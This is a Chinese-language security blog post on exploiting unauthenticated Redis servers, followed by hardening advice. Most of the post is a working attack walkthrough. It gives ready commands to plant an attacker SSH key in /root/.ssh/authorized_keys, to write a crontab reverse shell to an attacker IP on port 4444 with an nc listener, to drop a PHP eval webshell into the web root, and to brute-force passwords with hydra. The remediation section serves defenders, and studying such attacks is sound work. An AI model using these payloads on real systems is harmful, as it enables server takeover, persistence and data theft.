redis未授权访问

redis介绍(来自百度百科)

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

目前比较主流的案例:yam2 minerd 挖矿程序

Redis安全漏洞影响

一旦入侵成功,Redis数据会丢失,攻击者可直接添加账号用于ssh远程登录控制服务器,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险,引发重要数据删除、泄露或加密勒索事件发生。

环境搭建

下载redis

1
wget http://download.redis.io/releases/redis-2.6.14.tar.gz

解压

1
2
tar zxvf redis-2.6.14.tar.gz
cd redis-2.6.14

编译

1
make


cd src
安装

1
make install

启动

1
redis-server &

连接测试

1
redis-cli

漏洞验证

redis默认使用的是6379端口,可以使用nmap来验证这个漏洞

1
Nmap -A -p 6379 –script redis-info 192.168.10.129

漏洞利用

获取敏感信息

Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。

1
2
redis-cli -h 漏洞服务器IP
info


可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径

写入SSH公钥,获取操作系统权限

原理

在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

利用条件

1.redis对外开放,且未授权访问(默认配置)
2.服务器的ssh对外开放,可通过key登录

攻击详情

  1. 生成公钥
    在攻击电脑上生成自己的公钥,一直按回车不用输入任何东西
    1
    ssh-keygen -t rsa

  1. 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里
    1
    2
    3
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat /root/.ssh/key.txt | ./redis-cli -h 漏洞服务器IP -x set xxx

  1. 连接漏洞服务器

    1
    redis-cli -h 漏洞服务器IP
  2. 设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

    1
    2
    3
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save

  1. 使用SSH连接漏洞服务器
    1
    ssh 漏洞服务器IP


可以看到不用密码就可以直接远程登录

利用crontab反弹shell

端口监听

在攻击者服务器上监听一个端口(任意端口)

1
nc -lvnp 4444

攻击详情

连接redis,写入反弹shell

1
2
3
4
5
redis-cli -h 192.168.152.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

1分钟后客户端这边收到centos的反弹shell

获取web服务的webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。

1
2
3
4
5
redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save

注意:要知道web服务器的绝对路径

利用hydra暴力破解redis的密码

使用hydra工具可以对redis进行暴力破解
hydra -P passwd.txt redis://漏洞服务器IP

修复方案

禁止一些高危命令(重启redis才能生效)

修改 redis.conf 文件,禁用远程修改 DB 文件地址

1
2
3
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

或者通过修改redis.conf文件,改变这些高危命令的名称

1
2
3
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

为 Redis 添加密码验证(重启redis才能生效)

1
requirepass mypassword

(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

1
bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

修改默认端口

修改配置文件redis.conf文件

1
Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

1
chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

1
chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

1
chattr +i ~/.ssh

设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

安全补丁

不定期关注最新软件版本,并升级redis到最新版,防止新漏洞被利用。

未授权访问总结

https://www.cnblogs.com/SzSec/p/7866674.html


-------------本文结束感谢您的阅读-------------


本文标题:redis未授权访问

文章作者:Y-HKL

发布时间:2018年03月18日 - 23:03

最后更新:2018年05月27日 - 12:05

原始链接:http://y-hkl.top/2018/03/18/redis未授权访问/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。